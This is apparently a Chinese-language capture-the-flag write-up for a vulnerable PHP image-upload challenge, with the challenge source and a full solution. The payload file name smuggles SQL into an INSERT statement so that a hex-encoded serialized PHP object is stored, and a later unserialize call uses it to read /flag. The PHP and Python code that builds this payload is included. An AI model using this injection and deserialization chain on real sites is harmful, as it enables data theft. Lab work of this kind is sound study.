进入靶场
解题过程
点击最下面的英文字即可上传图片
新建一个文本文档
里面内容为空
更改名字为
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png
知道id=1,一般id是get方式传参,在url处补充?id=1
点击最下面的英文句子
看到flag
源码
upload.php
html
<!DOCTYPE html>
<html>
<head>
<!-- 设置网页的标题,会显示在浏览器的标签页上 -->
<title>Image Upload</title>
<!-- 引入外部的 CSS 样式表,用于美化页面 -->
<link rel="stylesheet" href="./style.css">
<!-- 设置网页的字符编码为 UTF - 8,确保页面能正确显示各种字符 -->
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<!-- 使用 p 标签并设置居中对齐,展示一张图片,图片的宽度为 300,注意这里 length 属性使用有误,应为 height -->
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 height=150></p>
<!-- 使用 div 标签将表单居中显示 -->
<div align="center">
<!-- 创建一个名为 upload 的表单,表单提交的目标地址为空(表示提交到当前页面),使用 POST 方法,
enctype 设置为 multipart/form - data 用于上传文件 -->
<form name="upload" action="" method="post" enctype ="multipart/form-data" >
<!-- 创建一个文件选择框,用户可以通过此选择要上传的文件 -->
<input type="file" name="file">
<!-- 创建一个提交按钮,按钮上显示的文字为 submit -->
<input type="Submit" value="submit">
</form>
</div>
<!-- 插入一个换行符 -->
<br>
<!-- 创建一个链接,点击后会跳转到 show.php 页面,提示用户可以在此查看上传的图片 -->
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<!-- 插入一个换行符 -->
<br>
<?php
// 包含 helper.php 文件,该文件可能包含了一些辅助函数或类的定义
include("./helper.php");
// 定义一个名为 upload 的类,继承自 helper 类
class upload extends helper {
// 定义一个公共方法 upload_base,用于调用父类的 upload 方法
public function upload_base(){
$this->upload();
}
}
// 检查 $_FILES 数组是否存在(即是否有文件被上传)
if ($_FILES){
// 检查上传文件是否有错误
if ($_FILES["file"]["error"]){
// 如果有错误,终止脚本并输出上传失败的提示信息
die("Upload file failed.");
}else{
// 如果没有错误,创建一个 upload 类的实例
$file = new upload();
// 调用 upload_base 方法来处理文件上传
$file->upload_base();
}
}
// 创建一个 helper 类的实例,这里创建实例但未使用,可能后续代码会用到
$a = new helper();
?>
</body>
</html>
show.php
html
<!DOCTYPE html>
<html>
<head>
<!-- 设置页面标题,会显示在浏览器标签栏 -->
<title>Show Images</title>
<!-- 引入外部 CSS 样式表,用于美化页面 -->
<link rel="stylesheet" href="./style.css">
<!-- 设置页面的字符编码为 UTF - 8,确保正确显示各种字符 -->
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<!-- 显示一个居中对齐的二级标题 -->
<h2 align="center">Your images</h2>
<!-- 显示一段提示信息,告知用户查看图片功能未完成,目前仅保存图片名称 -->
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<!-- 插入一条水平线 -->
<hr>
<?php
// 包含 helper.php 文件,可能包含一些辅助函数或类
include("./helper.php");
// 创建 show 类的一个实例
$show = new show();
// 检查 URL 参数中是否有 delete_all
if($_GET["delete_all"]){
// 检查 delete_all 参数的值是否为 true
if($_GET["delete_all"] == "true"){
// 调用 show 类的 Delete_All_Images 方法删除所有图片记录
$show->Delete_All_Images();
}
}
// 调用 show 类的 Get_All_Images 方法获取并显示所有图片信息
$show->Get_All_Images();
// 定义 show 类,用于处理图片显示和删除操作
class show{
// 定义一个公共属性 $con,用于存储数据库连接对象
public $con;
// 构造函数,在创建类的实例时自动调用
public function __construct(){
// 连接到 MySQL 数据库,指定主机、用户名、密码和数据库名
$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
// 检查数据库连接是否失败
if (mysqli_connect_errno($this->con)){
// 如果连接失败,终止脚本并输出错误信息
die("Connect MySQL Fail:".mysqli_connect_error());
}
}
// 定义 Get_All_Images 方法,用于获取并显示所有图片信息
public function Get_All_Images(){
// 定义 SQL 查询语句,用于从 images 表中选取所有记录
$sql = "SELECT * FROM images";
// 执行 SQL 查询,并将结果存储在 $result 变量中
$result = mysqli_query($this->con, $sql);
// 检查查询结果中是否有记录
if ($result->num_rows > 0){
// 如果有记录,逐行遍历结果集
while($row = $result->fetch_assoc()){
// 检查图片的 attr 字段是否有值
if($row["attr"]){
// 对 attr 字段的值进行处理,将 \0\0\0 替换为 \0*\0
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
// 对处理后的 attr 字段值进行反序列化
$attr = unserialize($attr_temp);
}
// 输出图片的 id、文件名和路径信息
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
} else {
// 如果没有记录,输出提示信息
echo "<p>You have not uploaded an image yet.</p>";
}
// 关闭数据库连接
mysqli_close($this->con);
}
// 定义 Delete_All_Images 方法,用于删除 images 表中的所有记录
public function Delete_All_Images(){
// 定义 SQL 删除语句,用于删除 images 表中的所有记录
$sql = "DELETE FROM images";
// 执行 SQL 删除语句
$result = mysqli_query($this->con, $sql);
}
}
?>
<!-- 创建一个链接,点击后会调用 Delete_All_Images 方法删除所有图片记录 -->
<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<!-- 创建一个链接,点击后跳转到 upload.php 页面进行图片上传 -->
<p><a href="upload.php">Upload Images</a></p>
</body>
</html>
helper.php
php
<?php
// 定义一个名为 helper 的类,该类包含了处理图片上传、文件检查、数据保存等功能的方法
class helper {
// 定义一个受保护的属性 $folder,用于指定图片上传后的存储文件夹
protected $folder = "pic/";
// 定义一个受保护的属性 $ifview,用于控制查看文件功能是否开启,初始值为 False
protected $ifview = False;
// 定义一个受保护的属性 $config,用于指定配置文件的名称
protected $config = "config.txt";
// 注释提示查看文件功能尚未完善,暂未开放
/**
* 处理文件上传的方法
* @param string $input 上传文件的表单字段名,默认为 "file"
*/
public function upload($input = "file")
{
// 调用 getfile 方法获取上传文件的信息
$fileinfo = $this->getfile($input);
// 初始化一个空数组,用于存储文件相关信息
$array = array();
// 将文件的标题信息存入数组
$array["title"] = $fileinfo['title'];
// 将文件名信息存入数组
$array["filename"] = $fileinfo['filename'];
// 将文件扩展名信息存入数组
$array["ext"] = $fileinfo['ext'];
// 将文件存储路径信息存入数组
$array["path"] = $fileinfo['path'];
// 获取上传图片的尺寸信息
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
// 提取图片的宽度和高度信息存入新数组
$my_ext = array("width" => $img_ext[0], "height" => $img_ext[1]);
// 对图片尺寸信息进行序列化处理,并存入数组
$array["attr"] = serialize($my_ext);
// 调用 save 方法将文件信息保存到数据库,并获取保存后的记录 ID
$id = $this->save($array);
// 检查保存操作是否成功,如果 ID 为 0 则表示出现问题,终止程序并输出错误信息
if ($id == 0) {
die("Something wrong!");
}
// 输出换行符
echo "<br>";
// 输出文件上传成功的提示信息,并显示文件记录的 ID
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
/**
* 获取上传文件信息的方法
* @param string $input 上传文件的表单字段名
* @return array 包含文件标题、文件名、扩展名和存储路径的数组
*/
public function getfile($input)
{
// 检查输入的表单字段名是否存在
if (isset($input)) {
// 调用 check 方法对上传的文件信息进行检查和处理
$rs = $this->check($_FILES[$input]);
}
// 返回处理后的文件信息数组
return $rs;
}
/**
* 检查上传文件的方法
* @param array $info 上传文件的信息数组
* @return array 包含处理后文件标题、文件名、扩展名和存储路径的数组
*/
public function check($info)
{
// 生成一个唯一的文件名前缀,使用时间戳和唯一 ID 进行 MD5 加密后截取部分字符
$basename = substr(md5(time() . uniqid()), 9, 16);
// 获取上传文件的原始文件名
$filename = $info["name"];
// 提取文件的扩展名
$ext = substr(strrchr($filename, '.'), 1);
// 定义允许上传的图片文件扩展名数组
$cate_exts = array("jpg", "gif", "png", "jpeg");
// 检查上传文件的扩展名是否在允许的扩展名数组中
if (!in_array($ext, $cate_exts)) {
// 如果不在允许范围内,终止程序并输出错误提示信息
die("<p>Please upload the correct image file!!!</p>");
}
// 去除文件名中的扩展名,得到文件标题
$title = str_replace("." . $ext, '', $filename);
// 返回包含文件标题、处理后的文件名、扩展名和存储路径的数组
return array('title' => $title, 'filename' => $basename . "." . $ext, 'ext' => $ext, 'path' => $this->folder . $basename . "." . $ext);
}
/**
* 保存文件信息到数据库的方法
* @param array $data 包含文件信息的数组
* @return int 保存记录的 ID
*/
public function save($data)
{
// 检查传入的数据是否为空或不是数组类型
if (!$data || !is_array($data)) {
// 如果不符合要求,终止程序并输出错误信息
die("Something wrong!");
}
// 调用 insert_array 方法将数据插入数据库,并获取插入记录的 ID
$id = $this->insert_array($data);
// 返回插入记录的 ID
return $id;
}
/**
* 将数组数据插入数据库的方法
* @param array $data 包含文件信息的数组
* @return int 插入记录的 ID
*/
public function insert_array($data)
{
// 连接到 MySQL 数据库,指定主机、用户名、密码和数据库名
$con = mysqli_connect("127.0.0.1", "r00t", "r00t", "pic_base");
// 检查数据库连接是否失败
if (mysqli_connect_errno($con)) {
// 如果连接失败,终止程序并输出错误信息
die("Connect MySQL Fail:" . mysqli_connect_error());
}
// 初始化一个空数组,用于存储 SQL 语句中的字段名
$sql_fields = array();
// 初始化一个空数组,用于存储 SQL 语句中的字段值
$sql_val = array();
// 遍历传入的数据数组
foreach ($data as $key => $value) {
// 对字段名进行处理,将特定字符替换为 \0\0\0
$key_temp = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $key);
// 对字段值进行处理,将特定字符替换为 \0\0\0
$value_temp = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $value);
// 将处理后的字段名添加到字段名数组中,并添加反引号
$sql_fields[] = "`" . $key_temp . "`";
// 将处理后的字段值添加到字段值数组中,并添加单引号
$sql_val[] = "'" . $value_temp . "'";
}
// 构建插入数据的 SQL 语句
$sql = "INSERT INTO images (" . (implode(",", $sql_fields)) . ") VALUES(" . (implode(",", $sql_val)) . ")";
// 执行 SQL 插入语句
mysqli_query($con, $sql);
// 获取插入记录的 ID
$id = mysqli_insert_id($con);
// 关闭数据库连接
mysqli_close($con);
// 返回插入记录的 ID
return $id;
}
/**
* 查看文件内容的方法
* @param string $path 文件的路径
* @return bool|void 如果查看功能未开启,返回 False;否则输出文件内容
*/
public function view_files($path)
{
// 检查查看功能是否开启
if ($this->ifview == False) {
// 如果未开启,返回 False
return False;
}
// 读取指定路径文件的内容
$content = file_get_contents($path);
// 输出文件内容
echo $content;
}
/**
* 析构函数,在对象销毁时调用
*/
function __destruct()
{
// 注释提示会读取一些配置 HTML 文件
// 调用 view_files 方法读取配置文件内容
$this->view_files($this->config);
}
}
?>
解题思路
由于 array 数组中有 title、filename、ext、path、attr 这 5 个键 - 值对,所以在遍历过程中,sql_fields 数组就会对应生成 5 个列名(即 title、filename、ext、path、attr 处理后的形式),$sql_val 数组也会对应生成 5 个值,以满足构建 INSERT INTO 语句时列名和对应插入值数量匹配的要求,这样才能正确地将数据插入到 images 表中。
show.php会进行反序列化
而attr存储的是图片的宽度和高度
payload
php
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
php
O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}
文件名中不能有双引号,所以将payload进行16进制编码
python
string = 'O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}'
hex_encoded = string.encode('utf - 8').hex()
print(hex_encoded)
得到4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d
最后用#注释掉值,防止报错
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png